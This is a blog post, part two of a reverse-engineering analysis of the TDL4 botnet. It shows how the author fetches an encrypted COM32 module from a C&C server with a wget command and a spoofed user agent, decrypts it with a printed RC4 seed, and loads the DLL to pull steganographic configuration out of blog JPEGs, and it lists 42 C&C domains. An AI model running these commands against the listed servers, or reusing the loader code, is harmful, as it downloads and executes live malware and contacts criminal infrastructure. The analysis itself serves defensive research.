Tuesday 23 October 2012

Analysis of TDL4 (Part II)

Domains

As mentioned in the previous blog post, TDL4 has a component called CMD32/CMD64 that fetches JPEG images from the blogs specified in its configuration file. In order to recover the configurations, CMD32/CMD64 calls Init() and Uninit() functions that are implemented in the 'missing' component COM32/COM64.

Without this component and without knowing what steganography algorithm is used to conceal the text within the images, it is impossible to recover the text.

To download the COM32 component, the C&C server should be queried with a parameter mode=mod&filename=com32. Previous post explained how to encrypt this parameter. The server will also require the 'GeckaSeka' user agent, otherwise it'll ignore us.

The following parameters for wget will fetch an encrypted COM32 module from the C&C server:

wget.exe http://wahinotisifatu.com/?CehOKSsUCKLC3skBxcO9fFpCcXju4dg= -U "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-US; rv:1.9.1.1) GeckaSeka/20090911 Firefox/3.5.1"

Now, in order to decrypt the received module, the RC4 key #1 will be used, as shown below:

prepare_seed(seed1);  // for the received file
decrypt_file("%received_com32_module%", seed1);
where seed1, as before, is ripped from the CMD32 module:

BYTE seed1[256] =
{
    0xF7,0xD4,0xE8,0x26,0x43,0xDB,0x7F,0x07,0xD3,0xE2,0x86,0x38,0x78,0x6A,0x77,0x38, 
    0xB0,0xCA,0xEC,0x96,0x9C,0x55,0xA8,0x26,0xFB,0x45,0x5E,0x4F,0xAF,0x9A,0x32,0xFF, 
    0xD5,0x82,0x21,0x26,0xF2,0x98,0xDE,0x28,0xC8,0x2D,0xCC,0xCC,0xFA,0xD1,0xE5,0x2E, 
    0x85,0x92,0xA9,0xCC,0xF2,0x4E,0x10,0xAD,0x63,0x47,0x25,0xA3,0x91,0x53,0x6F,0xBD, 
    0xF1,0x1C,0x3D,0x7E,0xD5,0x1A,0x49,0x75,0x44,0x76,0x04,0xD2,0xA3,0xD3,0xE1,0x92, 
    0x3A,0xA4,0x11,0x96,0x6A,0x97,0x5D,0x3A,0x76,0x3B,0xF0,0xC6,0xF7,0x5F,0xB4,0xCC, 
    0x0B,0x7B,0x0A,0xE5,0xCF,0x6D,0xAD,0x25,0xA0,0x86,0xC1,0x54,0xC4,0x42,0x85,0x46, 
    0x6C,0x8A,0x84,0x98,0x5C,0x23,0x93,0x58,0x5E,0x6C,0x36,0xC7,0x3A,0xB5,0x96,0xD4, 
    0xEA,0xB6,0x16,0x3F,0xF2,0xC1,0x4D,0x1B,0xFC,0x91,0x5D,0xF8,0x24,0xFD,0x99,0x4A, 
    0xA4,0x61,0x07,0x12,0x40,0xEC,0x43,0xBF,0x51,0x36,0xEE,0x4E,0xE9,0x58,0x87,0xBF, 
    0x1E,0xF0,0xBF,0x0A,0x32,0xE3,0xB8,0xB2,0x52,0xB3,0x49,0x3D,0x53,0x57,0x19,0xA8, 
    0x68,0xD0,0x0B,0xD5,0x50,0xD6,0x3A,0x0E,0x6E,0x3B,0xBF,0xD6,0x1C,0x6B,0x0C,0x80, 
    0x05,0x43,0x8D,0xD0,0x77,0xF9,0x64,0xA8,0x6B,0xB5,0xF6,0x0D,0xA0,0x9A,0x3D,0x2F, 
    0x00,0x52,0x3E,0x39,0xD0,0x48,0x2B,0xE7,0x55,0xE4,0x47,0x57,0x46,0x34,0xE3,0x1E, 
    0xFA,0xBE,0x0A,0x45,0xAF,0xCD,0x39,0xD3,0xA1,0x81,0xC2,0x35,0x50,0x21,0x65,0x70, 
    0x8C,0x3D,0x1B,0x3A,0xFC,0xC9,0x6A,0x96,0x65,0x18,0xC6,0x67,0x3A,0x70,0x97,0xE1,
};
With the same RC4 decryptor, the file decryption routine is implemented as:

void decrypt_file(LPTSTR szFileName, LPBYTE seed)
{

    HANDLE hFile = NULL;
    HANDLE hMap = NULL;
    LPBYTE lpbyBase = NULL;
    DWORD  dwSize = 0;
    BYTE   bRet = 0;

    if ((hFile = CreateFile(szFileName, 
                            GENERIC_READ | GENERIC_WRITE,                               
                            0,                               
                            NULL, 
                            OPEN_EXISTING, 
                            FILE_ATTRIBUTE_NORMAL, 
                            NULL)) != INVALID_HANDLE_VALUE)
    {

        if (((dwSize = GetFileSize(hFile, NULL)) != INVALID_FILE_SIZE) &&
           ((hMap = CreateFileMapping(hFile, 
                                      NULL, 
                                      PAGE_READWRITE, 
                                      0, 
                                      0, 
                                      NULL)) != NULL))
        {
           if ((lpbyBase = (LPBYTE)MapViewOfFile(hMap, 
                                                 FILE_MAP_ALL_ACCESS, 
                                                 0, 
                                                 0, 
                                                 0)) != NULL)
           {
    
                RC4KEY rc4_key;
                rc4_init(seed, 256, &rc4_key);
                rc4_crypt(lpbyBase, dwSize, &rc4_key);

                UnmapViewOfFile(lpbyBase);
           }

           CloseHandle(hMap);
        }
        CloseHandle(hFile);
    }
}
The decrypted file is indeed a DLL file that exports Init() and Uninit() APIs. Without even trying to understand the steganography algorithm implemented in it, let's load it up and try to call its exports in order to decrypt the JPEG images posted into the blogs, specified in the MAIN configuration file as:

[jpeg_begin]
http://Skylaco[censored].livejournal.com/|m6dj7aA9mhQKdI8X3jy9
http://miqefic[censored].wordpress.com/|jt5G/KE25R1VSaYny0rr
[jpeg_end]

Needless to say, the COM32 Dll should always be loaded in the controlled environment (treated as a malware) as the online version of it might be updated with malicious code any time.

In order to call Init() and Uninit(), first we need to understand what parameters are expected by these functions.

As seen in the disassembled code below, the Init() function accepts 5 parameters: a pointer into JPEG buffer, its size, pointer into the address of the decoded configuration data, its returned size, and finally, a JPEG steganography password.

.text:10003782     mov     ecx, [esi]      ; decrypted JPEG password
.text:10003784     push    ecx
.text:10003785     lea     edx, [esp+62D4h+Size] ; returned configuration size
.text:10003789     push    edx
.text:1000378A     lea     eax, [esp+62D8h+lpConfig] ; pointer into configuration
.text:1000378E     push    eax
.text:1000378F     push    ebp             ; JPEG file (buffer) size
.text:10003790     push    ebx             ; pointer into JPEG raw buffer
.text:10003791     call    [esp+62E4h+lpfnInit]
JPEG steganography password is recovered by decrypting the righ-hand part of the blog URL specified in the configuration (as shown above). For example, to decrypt all images from the Skylaco[censored].livejournal.com blog, the string m6dj7aA9mhQKdI8X3jy9 should be decrypted with the RC4 key #1, and then passed to the Init() function within COM32 Dll.

The Init() function will allocate memory where it will unpack the configuration. As shown on the listing below, it will then save the recovered configuration back into the memory section of the infected host process, then pass the pointer of the allocated memory buffer to Uninit() function in order to de-allocate the memory:

.text:100037DF     mov     eax, [esp+62D0h+lpConfig] ; get config pointer
.text:100037E3     push    offset aMain_0            ; "main"
.text:100037E8     call    save_into_host_image
.text:100037ED     test    eax, eax
.text:100037EF     jz      start_over_again
...
.text:100037F5     mov     eax, [esp+62D0h+lpConfig] ; get config pointer
...
.text:100037F9     push    eax
.text:100037FA     call    [esp+62D4h+lpfnUninit]    ; pass it to Uninit()
Knowing exactly what parameters are used for Init() and Uninit(), let's declare the prototype for these functions:

typedef WINADVAPI BYTE (WINAPI *FINIT)(LPBYTE  abyJpegBuffer, 
                                       DWORD   dwJpegSize, 
                                       LPDWORD lpdwConfigPointer, 
                                       LPDWORD lpdwSize, 
                                       LPSTR   szJpegKey);
typedef WINADVAPI BYTE (WINAPI *FUNINIT)(DWORD dwConfigPointer);

FINIT    lpfnInit = NULL;
FUNINIT  lpfnUninit = NULL;
Next, let's call the function that will decrypt the downloaded JPEG image, passing it the JPEG steganography password that is specified in the configuration:

decrypt_jpeg("%downloaded_jpeg_file%", "jt5G/KE25R1VSaYny0rr");
where decrypt_jpeg() function is implemented as shown below:

void decrypt_jpeg(LPSTR szFileName, LPSTR szJpegKeyBase64)
{
    char     zJpegKey[MAX_PATH];
 
    decrypt(szJpegKeyBase64, szJpegKey, seed1);

    HANDLE   hFile = NULL;
    HANDLE   hMap = NULL;
    LPBYTE   lpbyBase = NULL;
    DWORD    dwSize = 0;
 
    DWORD    dwConfigPointer;
    DWORD    dwConfigSize;
    DWORD    dwBytesWritten;

    char     szConfigTxt[MAX_PATH];
    HANDLE   hConfigTxt = NULL;

    HINSTANCE hCom32 = LoadLibrary("%decrypted_com32_module%");
    if (hCom32 == NULL)
    {
        return;
    }

    lpfnInit = (FINIT)GetProcAddress(hCom32, "Init");
    lpfnUninit = (FUNINIT)GetProcAddress(hCom32, "Uninit");

    if ((lpfnInit == NULL) || (lpfnUninit == NULL))
    {
        FreeLibrary(hCom32);
        return;
    }

    if ((hFile = CreateFile(szFileName, 
                            GENERIC_READ,                               
                            0,                               
                            NULL, 
                            OPEN_EXISTING, 
                            FILE_ATTRIBUTE_NORMAL, 
                            NULL)) != INVALID_HANDLE_VALUE)
    {

        if (((dwSize = GetFileSize(hFile, NULL)) != INVALID_FILE_SIZE) &&
           ((hMap = CreateFileMapping(hFile, NULL, PAGE_READONLY, 0, 0, NULL)) != NULL))
        {
           if ((lpbyBase = (LPBYTE)MapViewOfFile(hMap, FILE_MAP_READ, 0, 0, 0)) != NULL)
           {
    
                dwConfigSize = 0;
                dwConfigPointer = 0;
                
                if (lpfnInit(lpbyBase, 
                             dwSize, 
                             &dwConfigPointer, 
                             &dwConfigSize, 
                             szJpegKey))
                {
                    if (dwConfigPointer && dwConfigSize)
                    {
                        sprintf_s(szConfigTxt, MAX_PATH, "%s.txt", szFileName);

                        if ((hConfigTxt = CreateFile(szConfigTxt, 
                                                     GENERIC_WRITE, 
                                                     FILE_SHARE_READ, 
                                                     NULL, 
                                                     OPEN_ALWAYS, 
                                                     FILE_ATTRIBUTE_NORMAL, 
                                                     NULL)) != INVALID_HANDLE_VALUE)
                        {
                            WriteFile(hConfigTxt, 
                                      (LPVOID)dwConfigPointer, 
                                      dwConfigSize, 
                                      &dwBytesWritten, 
                                      NULL);

                            CloseHandle(hConfigTxt);
                        }
                    }

                    lpfnUninit(dwConfigPointer);
                }

                UnmapViewOfFile(lpbyBase);
           }

           CloseHandle(hMap);
        }
        CloseHandle(hFile);
    }
 
    FreeLibrary(hCom32);
}
Applying this function over an image downloaded from one of the blogs above (the actual image below doesn't have an embedded text - it was stripped as the image was processed, the original image is available here):

reveals full configuration file that includes new C&C servers in it:

Applying this function over all JPEG images from the 2 previously mentioned blogs, allows assembling the C&C domain list below:

  • http://andianralway.com

  • http://ardchecksys.com

  • http://arevidenlo.com

  • http://asdron.com

  • http://aspirefotbal.com

  • http://atisedir.com

  • http://ciselwic.com

  • http://docietyofa.com

  • http://doproter.com

  • http://ecavesiyc.com

  • http://ersitycardio.com

  • http://farepala.com

  • http://healthclini.com

  • http://icaidspenp.com

  • http://lacuricub.com

  • http://listofvoteri.com

  • http://mecarinariniz.com

  • http://merialedilasuc.com

  • http://njmedicaice.com

  • http://nucerecat.com

  • http://playpitchca.com

  • http://ramofgrenca.com

  • http://rentalprope.com

  • http://ricardogoe.com

  • http://sardpuitsmea.com

  • http://sdhcardusba.com

  • http://shuttleserv.com

  • http://silverlakem.com

  • http://tilesnightc.com

  • http://tobenri.com

  • http://uclanedical.com

  • http://uindirected.com

  • http://uluniwiming.com

  • http://usibetsou.com

  • http://vaneriledcas.com

  • http://wacardeuse.com

  • http://wahinotisifatu.com

  • http://waoninstofnatine.com

  • http://washutubs.com

  • http://wideoexpre.com

  • http://wieremien.com

  • http://yonseiuniver.com

Once the new C&C servers go live, TDL4 will visit them and request updated configuration from them. The new configuration may specify different blogs with the different posted JPEG images, and new configuration data embedded in them, pointing into the new domains. This vicious cycle may potentially go on indefinitely. Until there is at least one live domain or one live blog, the masterminds behind the botnet have a chance to inject a new portion of the domains and blogs into this deadly whirlpool, preserving full control over the victims.

0 Comments:

Post a Comment

Subscribe to Post Comments [Atom]

<< Home